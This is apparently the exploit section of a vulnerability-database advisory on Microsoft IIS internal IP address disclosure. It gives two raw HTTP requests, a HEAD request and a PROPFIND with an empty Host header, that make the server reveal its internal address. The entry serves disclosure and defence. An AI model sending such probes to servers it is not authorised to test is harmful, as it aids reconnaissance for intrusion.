• info
• discussion
• exploit
• solution
• references

Microsoft IIS Internal IP Address Disclosure Vulnerability

HEAD /directory HTTP/1.0[CRLF]
[CRLF]

or

PROPFIND / HTTP/1.1
Host:
Content-Length: 0